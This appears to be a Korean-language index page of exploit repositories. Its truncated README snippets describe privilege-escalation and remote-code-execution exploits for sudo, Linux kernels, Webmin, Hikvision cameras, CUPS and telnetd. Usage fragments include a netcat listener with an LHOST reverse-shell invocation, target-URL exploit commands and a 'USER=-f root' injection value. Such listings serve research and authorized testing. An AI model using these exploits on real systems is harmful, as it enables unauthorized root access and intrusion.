CVE-2024-22274-RCE

CVE-2024-22274 익스플로잇 이 저장소는 CVE-2024-22274에 대한 익스플로잇을 포함하고 있습니다. 이 익스플로잇은 SSH를 통해 원격 시스템에 새 사용자를 생성한 후 루트 셸을 제공합니다. 요구 사항 Go Golang가 시스템에 설치되어 있어야 합니다. 여기에서 다운로드할 수 있습니다. SSH 접근이 가능한 원격 시스템. 컴파일 1. 저장소를 클론합니다: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git cd CVE-2024-22274-RCE 2...

CVE-2025-32463

📌 CVE-2025-32463 — Sudo --chroot 로컬 권한 상승 ExploitDB ID: 52352 🧠 개요 이 저장소는 Sudo 1.9.14 – 1.9.17 버전에 영향을 주는 치명적인 로컬 권한 상승LPE 취약점을 문서화합니다. 이 취약점은 sudo -R --chroot 옵션의 잘못된 구현으로 인해 발생하며, sudoers 파일에서 허용되지 않더라도 공격자가 root 권한으로 명령을 실행 할 수 있게 합니다. 🔥 결과: 권한 없는 사용자 → root shell 🧩 영향받는 구성 요소 소프트웨어: sudo 영향받는...

Offensive-lab-2

공격 보안 연구실 : ProFTPD 1.3.3c 백도어 익스플로잇 루트 플래그 1. 소개 및 목표 이 보고서는 취약한 Linux 가상 머신VM에 수행된 침투 테스트를 상세히 설명하며, 즉시 루트 액세스를 허용한 고위험 서비스 취약점 식별에 중점을 둡니다. 세부 사항| 값 ---|--- 대상 IP 주소| 192.168.222.130 공격자 IP 주소 LHOST| 192.168.222.128 대상 OS| Ubuntu 4ubuntu2.2 Linux Kernel 3.x 목표| 루트 레벨 셸 획득 및 플래그 파일 검색 2. 초기 열거 ...

CVE-2023-22809

CVE-2023-22809 참조: https://vulners.com/cve/CVE-2023-22809 익스플로잇 제목: sudo 1.8.0 - 1.9.12p1 - 권한 상승 익스플로잇 작성자: n3m1.sys CVE: CVE-2023-22809 날짜: 2023/01/21 공급업체 홈페이지: https://www.sudo.ws/ 소프트웨어 링크: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz 버전: 1.8.0 1.9.12p1 테스트 환경: Ubuntu Server 22.04 - vim...

cve-2017-11176

cve-2017-11176 로컬 권한 상승 ubuntu 4.4.0-62 커널에서 개발됨 소개 자체 LPE 익스플로잇을 코딩하는 첫 시도입니다. 개발 과정 c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 커널 uaf 트리거 d2872d5c0d642e20c807a960f99d9533dde5d809 이제 systemtap 없이 다른 스레드를 사용해 메인 스레드를 차단 해제할 수 있습니다. 할 일 루트 셸을 얻기 위한 익스플로잇 참고 lexfo:linux-kernel-exploitation 이 분의 작업은...

CVE-2021-36260

Hikvision CVE-2021-36260 RCE 취약점 취약점 설명 공격자는 이 취약점을 이용해 무제한 root shell로 장치를 완전히 제어할 수 있으며, 장치 소유자가 제한된 보호 셸psh로 제한되어 있어도 마찬가지입니다. IP 카메라를 침입하는 것 외에도 내부 네트워크에 접근하고 공격할 수 있습니다. FOFA header="Hikvision" app="HIKVISION-视频监控" 사용 방법 python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check python...

CVE-2022-23222

CVE-2022-23222 중국어 분석 글: https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt 교육/연구 목적으로만 사용하세요. 사용에 따른 책임은 본인에게 있습니다. 빌드 및 실행 $ make cc -I include -static -w -o exploit exploit.c $ ./exploit phase1/8 'create bpf maps' running + phase1/8 'create bpf maps' done phase2/8 'do some leak'...

CVE-2021-3156

CVE-2021-3156 xchg@ubuntu:/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich CVE-2021-3156 PoC by blasty [email protected] 사용법: ./sudo-hax-me-a-sandwich 사용 가능한 대상: 0 Ubuntu 20.04.1 Focal Fossa - sudo 1.8.31, libc-2.31 1 Debian 10.0 Buster - sudo 1.8.27, libc-2.28...

CVE-2023-32413

macOS LPE CVE-2023-32413 / ZDI-23-845 / Pwn2Own Vancouver 2023 익스플로잇 이 코드는 Pwn2Own Vancouver 2023https://youtu.be/c0cS4R0ja-I?t=180에서 시연된 익스플로잇 코드입니다. 이 코드는 CVE-2023-32413을 악용하여 취약한 모든 macOS에서 루트 권한을 획득합니다. 해당 취약점은 읽을 수 있는 모든 파일을 덮어쓸 수 있는 논리적 TOCTOUTime-of-check time-of-use입니다. 이 익스플로잇은 빠르고 100%...

Webmin_CVE-2019-15107

CVE-2019–15107 - 인증되지 않은 RCE Webmin =1.920 이 python 스크립트는 Webmin 1.890에서 root 셸을 제공합니다. nmap으로 확인: nmap -sC -sV -p 10000 TARGETIP 결과: 10000/tcp open http MiniServ 1.890 Webmin httpd 이 익스플로잇 사용 방법: 1단계: nc -lnvp LPORT 2단계: chmod +x exploit.py ./exploit RHOST RPORT LHOST LPORT RHOST = 대상 RPORT = 대상...

CVE-2025-6019

CVE-2025-6019: libblockdev 로컬 권한 상승 취약점 요약 CVE-2025-6019는 libblockdev 라이브러리에서 발견된 로컬 권한 상승LPE 취약점으로, udisks2 데몬 및 Polkit과 함께 작용합니다. 취약점 설명 allowactive Polkit 권한을 가진 로컬 공격자일반적으로 실제 컴퓨터 사용자는 libblockdev와 udisks 데몬이 상호작용하는 방식을 악용할 수 있습니다. 공격자는 SUID-root 셸을 포함하는 악성 XFS 이미지를 생성하고, udisks가 nosuid 및...

PwnTillDawn-Portal-Walkthrough

🔐 Vulnerability Assessment & Penetration Testing VAPT 📌 Project: Target Exploitation Walkthrough ⚠️ This project is for educational and authorized testing purposes only. Unauthorized access to systems is strictly prohibited. 👨‍💻 Author SYAFIQ Role: Lead Penetration Tester 🎯 Target Information...

PT-2026-104017

Name of the Vulnerable Software and Affected Versions Kasa EC70 v4 Kasa EC71 v4 Description The production debug interface is not logically disabled at the firmware or chip level, and the bootloader remains unlocked. An attacker with physical access can restore physically severed debug traces to...

CVE-2026-102370: On-Chip Debug and Test Interface With Improper Access Control

Kasa EC70 v4 and EC71 v4 do not logically disable the production debug interface at the firmware or chip level and do not lock the bootloader. Although the debug traces are physically severed during manufacturing, an attacker with physical access can restore the connection, interrupt the boot...

CVE-2026-34990-poc

CVE-2026-34990: CUPS 2.4.16 로컬 권한 상승 PoC 기존 CUPS 서비스에 대해 일반 로컬 사용자로 실행되는 원본 CUPS 공개 및 PoC의 Python3 적용판입니다. 유출된 Authorization: Local 토큰과 CUPS가 root 권한으로 파일을 쓸 수 있게 하는 경쟁 조건race을 시연합니다. 사용법 python3 cve-2026-34990.py --check root 소유 파일 쓰기 여부 테스트 python3 cve-2026-34990.py root 셸 열기 python3...

TelnetdBypass-

TelnetdBypass — CVE-2026-24061 Scanner A Python-based security scanner that detects and exploits CVE-2026-24061 , a critical CVSS 9.8 authentication bypass vulnerability in GNU InetUtils telnetd versions 1.9.3 through 2.7. How it Works The scanner injects a malicious USER=-f root value via the...

Exploit for Out-of-bounds Write in Tp-Link Omada_Sg2005P-Pd_Firmware

Proof-of-concept exploit for CVE-2026-1668 This is a proof-of...

avdroot

avdroot Android Studio 에뮬레이터의 ramdisk를 Magisk로 패치하여 루팅합니다 — 순수 Go로 구현되었습니다. English · 简体中文 avdroot는 AVD를 콜드 스타트에서 단 하나의 명령으로 작동하는 루트 셸까지 가져옵니다. 모든 작업은 호스트에서 이루어집니다: ramdisk가 압축 해제되고, Magisk의 init이 /init을 대체하도록 재작성되며, 다시 압축됩니다. 이미지 빌드에는 셸 스크립트도, busybox도, magiskboot도, 에뮬레이터 내부에서의 코드 실행도 필요하지 않습...

CVE-2025-6019_Exploit

CVE-2025-6019Exploit 1단계: Linux 장치에서 1.sh를 실행하여 xfs.image를 생성합니다. 2단계: xfs.image를 피해 장치로 전송하고 2.sh를 실행합니다. 아래와 같이 성공하면 됩니다. neko@aosc-neko205 tmp $ bash 2.sh 当前用户: neko uid=1000neko gid=1001neko 组=1001neko,11audio,12video,15cdrom,974ollama,997wheel,999plugdev,1002gamemode 'yes', Mapped file...

CVE-2022-20818

CVE-2022-20818: Cisco SD-WAN 부분 파일 읽기를 통한 로컬 권한 상승 Viptela SSH 셸의 "config - load" 기능은 FTP를 통해 원격 "command" 파일을 가져오기 위해 "wget"을 사용합니다. 악의적인 FTP 서버를 호스팅하고 wget이 생성한 로컬 파일을 심볼릭 링크로 대체함으로써, 공격자는 명령이 실행되는 "root" 권한을 악용하여 임의 파일의 첫 번째 줄을 읽을 수 있습니다. "/etc/confd/confdetcsecret"에서 비밀 값을 읽음으로써, 공격자는 시스템에서...